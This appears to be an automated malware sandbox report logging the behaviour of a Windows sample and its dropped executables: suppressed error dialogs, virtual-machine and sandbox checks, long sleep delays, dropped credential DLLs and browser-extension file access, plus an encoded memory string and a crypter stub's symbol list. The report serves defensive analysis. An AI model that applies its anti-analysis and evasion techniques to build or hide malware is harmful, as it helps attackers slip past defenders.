Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 3C54.exe, 00000014.00000000.455817498.00000000004A2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: SBIEDLL.DLL/
Source: 01860199.exe, 00000000.00000002.379986606.000000000084A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK<

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\01860199.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\01860199.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\01860199.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\01860199.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\01860199.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\01860199.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Source: C:\Windows\explorer.exe TID: 3492	Thread sleep time: -1020000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe TID: 3728	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\3C54.exe TID: 4124	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe TID: 6964	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe TID: 5232	Thread sleep time: -900000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe TID: 6924	Thread sleep time: -50000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe TID: 6948	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe TID: 6972	Thread sleep time: -1440000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe TID: 6948	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe TID: 5232	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 6340	Thread sleep count: 129 > 30

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 360000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 180000

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 417	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 756	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 766	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\ChromeSetup.exe.vapo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\ChromeSetup.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3E02.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\57DC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: 5_2_024A671C rdtsc

5_2_024A671C

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 50000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 360000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\D804.exe

5_2_00403870

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Source: aafg31.exe, 00000015.00000003.485059541.000001E290193000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: D804.exe, 00000006.00000002.450438133.0000000000707000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: D804.exe, 00000010.00000002.619429561.0000000000808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: D804.exe, 00000006.00000002.450438133.000000000075C000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000006.00000003.445434280.000000000075C000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000010.00000003.452471512.0000000000891000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000003.452681314.0000000000680000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.477923447.000001E29016F000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E29016F000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.489839300.000001E29016F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.369535854.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: 3C54.exe, 00000014.00000000.455817498.00000000004A2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: DetectVirtualMachine
Source: aafg31.exe, 00000015.00000003.477923447.000001E29016F000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E29016F000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.489839300.000001E29016F000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.485848498.000001E29016F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: 3C54.exe, 00000014.00000000.455817498.00000000004A2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: <Module>power.exeProgramStubWriterRunnerRunTimeAntiAntismscorlibSystemObjectdelaydelayTimeantiVMantiSandboxantiDebugantiEmulatorenablePersistenceenableFakeErrorencryptTypecompressedcversSystem.Collections.GenericList`1fileNamesfileTypesfileRunTypesfileDropPathsMainDecompressEncryptOrDecryptXORDecryptEncryptInitalizeIEnumerable`1EncryptOutputSwapGetResourceRunOnStartup.ctorWriteAllBytesExecuteDetectVirtualMachineGetModuleHandleDetectSandboxieCheckRemoteDebuggerPresentDetectDebuggerCheckEmulatordatatextkeysijfileregNameAppPathHidefileBytesfinalPathpathrunTypelpModuleNamehProcessisDebuggerPresentSystem.ReflectionAssemblyTitleAttributeAssemblyDescriptionAttributeAssemblyCompanyAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyTrademarkAttributeAssemblyFileVersionAttributeAssemblyVersionAttributeSystem.Runtime.InteropServicesComVisibleAttributeGuidAttributeSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributepowerEnvironmentExitSystem.ThreadingThreadSleepget_ItemStringop_EqualitySystem.TextEncodingget_UnicodeGetBytesConcatSystem.IOPathCombineget_CountMemoryStreamSystem.IO.CompressionDeflateStreamStreamCompressionModeCopyToIDisposableDisposeToArrayByteSystem.CoreSystem.LinqEnumerable<EncryptInitalize>b__0Func`2CS$<>9__CachedAnonymousMethodDelegate1CompilerGeneratedAttributeRangeSelect<>c__DisplayClass3<EncryptOutput>b__2bAssemblyGetExecutingAssemblySystem.ResourcesResourceManagerGetObjectAppDomainget_CurrentDomainget_FriendlyNameFileExistsGetEntryAssemblyget_Locationop_InequalityCopyFileAttributesGetAttributesSetAttributesMicrosoft.Win32RegistryRegistryKeyLocalMachineget_UTF8GetStringOpenSubKeySetValueCurrentUserException.cctorConvertFromBase64StringAddGetTempPathSystem.DiagnosticsProcessProcessStartInfoget_StartInfoset_FileNameStartSystem.ManagementManagementObjectSearcherManagementObjectCollectionGetManagementObjectEnumeratorGetEnumeratorManagementBaseObjectget_CurrentToStringToLowerToUpperInvariantContainsMoveNextDllImportAttributekernel32.dllIntPtrToInt32GetCurrentProcessget_HandleDateTimeget_Nowget_Ticksu3g1msyl5i1.resources
Source: explorer.exe, 00000001.00000000.369535854.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i,
Source: D804.exe, 00000013.00000003.452681314.0000000000680000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: explorer.exe, 00000001.00000000.363366539.0000000005063000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9'
Source: B46F.exe, 0000001A.00000002.489404633.0000000000687000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: D804.exe, 00000006.00000002.450883954.0000000002F30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\d0-
Source: B46F.exe, 0000001A.00000002.489404633.0000000000687000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: explorer.exe, 00000001.00000000.369535854.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}z,
Source: B46F.exe, 0000001A.00000003.479306227.0000000000711000.00000004.00000020.00020000.00000000.sdmp, B46F.exe, 0000001A.00000002.489404633.0000000000711000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2.3 MAC Layer LightWeight Filter-0000
Source: D804.exe, 00000006.00000002.450883954.0000000002F30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Registry\Machine\Software\Classes\Interface\{AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 3C54.exe, 00000014.00000000.455817498.00000000004A2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000001.00000000.366426205.0000000007166000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
